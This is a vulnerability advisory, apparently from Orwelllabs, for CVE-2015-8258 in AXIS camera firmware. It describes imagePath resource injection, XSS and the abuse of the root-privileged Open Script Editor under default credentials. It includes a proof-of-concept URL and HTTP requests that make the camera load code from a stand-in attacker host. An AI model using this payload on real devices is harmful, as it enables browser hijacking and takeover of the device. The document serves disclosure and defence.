AXIS Communications with firmware versions prior to 5.80.x suffer from cross site scripting and content inclusion vulnerabilities.
642480feefae2be497487c4e039cff10b86c95ef8ebb4844cde30dd5b7ce6249 0RWELLL4BS
**********
security advisory
olsa-2015-8258
PGP: 79A6CCC0
@orwelllabs
Advisory Information
====================
- Title: ImagePath Resource Injection/Open script editor
- Vendor: AXIS Communications
- Research and Advisory: Orwelllabs
- Class: Improper Input Validation [CWE-20]
- CVE Name: CVE-2015-8258
- Affected Versions: Firmwares versions <lt 5.80.x
- IoT Attack Surface: Device Administrative Interface/Authentication/Autho
rization
- OWASP IoTTop10: I1, I2
Technical Details
=================
The variable "imagePath=" (that is prone to XSS in a large range of
products) also can be used to resource injection intents. If inserted a URL
in this variable will be made an GET request to this URL, so this an
interesting point to request malicious codes from the attacker machine, and
of course, the possibilities are vast (including hook the browser).
An attacker sends the following URL for the current Web user interface of
the camera:
https://{AXISVULNHOST}/view.shtml?imagepath=https://www.3vilh0
st.com/evilcode.html
This request will be processed normally and will return the status code 200
(OK):
[REQUEST]
GET /view.shtml?imagepath=https://www.3vilh0st.com/evilcode.html HTTP/1.1
Host: {axisvulnhost}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX",
nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb",
uri="/view.shtml?imagepath=https://www.3vilh0st.com/evilcode.html",
response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth,
nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs"
Connection: keep-alive
GET /evilcode.html HTTP/1.1
Host: www.3vilh0st.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://{axisvulnhost}/view.shtml?imagepath=https://www.3vilh0
st.com/evilcode.html
Connection: keep-alive
The server response can be seen below (with the clipping of the affected
HTML code snippets - just look for "https://www.3vilh0st.com/evilcode.html"):
<table border="0" cellpadding="3" cellspacing="3">
<tr>
<td id="videoStreamTable">
<script language="JavaScript">
<!--
video('https://www.3vilh0st.com/evilcode.html');
// -->
</script>
</td>
</tr>
</table>
[..SNIP..]
function listVideoSources()
{
var formInt = document.listFormInt;
var formExt = document.listFormExt;
var formCrop = document.listFormCrop;
var presetForm = document.listFormPreset;
var form = document.WizardForm
var currentPath = 'https://www.3vilh0st.com/evilcode.html';
var imageSource;
[..SNIP..]
var reload = false;
reload |= (other != null && other.search("seq=yes") >= 0);
reload |= (other != null && other.search("streamprofile=") >= 0);
reload |= ((other == null || (other != null && other.search("streamprofile=
;)(r") == -1)) && ('' != ""));
reload |= (imagePath != 'https://www.3vilh0st.com/evilcode.html');
[..SNIP..]
<script SRC="/incl/activeX.js?id=69"></script>
</head>
<body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0"
marginheight="0" onLoad="DrawTB('no', 'https://www.3vilh0st.com/evilcode.html',
'1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize="">
<script language="JavaScript">
[..SNIP..]
// Draw the scale buttons
var currentResolution = 0
var width = 0
var height = 0
var imagepath = "https://www.3vilh0st.com/evilcode.html"
var resStart = imagepath.indexOf("resolution=")
if (resStart != -1) {
var resStop = imagepath.indexOf("&", resStart)
[..SNIP..]
=================== view.shtml snips =====================
447 function zoom(size)
448 {
449 var url = document.URL;
450
451 if (url.indexOf("?") == -1) {
452 url += "F?size=" + size
453 } else if (url.indexOf("size=") == -1) {
454 url += "&size=" + size
455 } else {
456 var searchStr = "size=<!--#echo var="size"
option="encoding:javascript" -->"
457 var replaceStr = "size=" + size
458 var re = new RegExp(searchStr , "g")
459 url = url.replace(re, replaceStr)
460 }
461
462 document.location = url;
463 }
464
465 var aNewImagePath;
466
467 function reloadPage()
468 {
469 document.location = aNewImagePath;
470 }
471
[ SNIP ]
567 aNewImagePath = '/view/view.shtml?id=<!--#echo
var="ssi_request_id" option="encoding:url" -->&imagePath=' +
escape(imagePath) + size;
568 if (other != null)
569 aNewImagePath += other;
570 <!--#if expr="$ptzpresets = yes" -->
571 /* append preset parameters so that preset postion is selected in
drop down list after reload */
572 if (presetName != '')
573 aNewImagePath += "&gotopresetname=" + escape(presetName);
574 else if (gotopresetname != '')
575 aNewImagePath += "&gotopresetname=" + escape(gotopresetname);
576
577 if( newCamera != '')
578 aNewImagePath += "&camera=" + escape(newCamera);
---*---
Some legitimate resources can be very interesting to cybercriminals with
your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case
there are some resources, like the "Open Script Editor". By this resource
the user can edit any file in the operation system with root privileges,
because everything (in the most part of IoT devices) runs with root
privileges, this is other dangerous point to keep in mind.
> Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting'
Well, one can say that this feature is restricted to the administrator of
the camera, and this would be true if customers were forced to change the
default password during setup phase with a strong password policy, since
change "pass" to "pass123" does not solve the problem. The aggravating
factor is that there are thousands of products available on the internet,
running with default credentials.
Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
According to the manufacturer, the resource injection vulnerability was
fixed in firmware 5.60, but we identified that the problem still occurred
in 5.80.x versions of various product models. Check for updates on the
manufacturer's website.
About Open Script Editor,It was considered that in order to have access to
this feature, it is necessary to be authenticated as an admin, but if there
is no policy that forces the client to change the password during the
product setup (ease vs. security) and also requires a password complexity,
having an administrative credential to abuse the functionality is not
exactly an impediment (e.g: botnets that bring embedded in the code a
relation of default credentials for that type of device)
Credits
=======
These vulnerabilities has been discovered and published by Orwelllabs.
Legal Notices
=============
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.
About Orwelllabs
================
https://www.exploit-db.com/author/?a=8225
https://packetstormsecurity.com/files/author/12322/
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